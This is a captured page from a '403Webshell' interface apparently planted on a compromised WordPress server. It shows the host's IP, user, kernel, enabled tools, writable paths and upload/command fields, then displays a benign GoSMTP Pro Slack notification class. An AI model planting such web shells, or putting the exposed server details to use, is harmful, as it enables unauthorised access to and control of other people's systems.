403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.217.9
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.20.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jun 30 06:22:49 EDT 2026 x86_64
User : pjacortinas ( 1096)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/pjacortinas/www/wp-content/plugins/gosmtp-pro/main/notifications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/pjacortinas/www/wp-content/plugins/gosmtp-pro/main/notifications/slack.php
<?php

namespace GOSMTP\Notifications;

use GOSMTP\Notifications\Manager;

class Slack extends Manager{

	var $title = 'Slack';
	var $service = 'slack';

	public function send($message){

		$webhook_url = $this->get_option('webhook_url', $this->service);

		if(empty($webhook_url)) return false;

		$headers = [
			'content-type' => 'application/json'
		];

		$message = html_entity_decode($message, ENT_QUOTES, 'UTF-8');

		$body = [
			'text' => $message
		];

		$args = [
			'headers' =>  $headers,
			'body' => json_encode($body)
		];

		return wp_remote_post($webhook_url, $args);
	}
	
	public function load_services_field(){

		$fields = [
			'webhook_url' => [
				'title' => __('Slack Webhook URL', 'gosmtp-pro'),
				'type' => 'password',
				'desc' => sprintf(__('Enter your Slack Webhook URL. %1$s%2$sFollow this link for guide.%3$s', 'gosmtp-pro'),
				'<br>', '<a href="https://gosmtp.net/docs/notifications/slack" target="_blank">', '</a>')
			]
		];

		return $fields;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit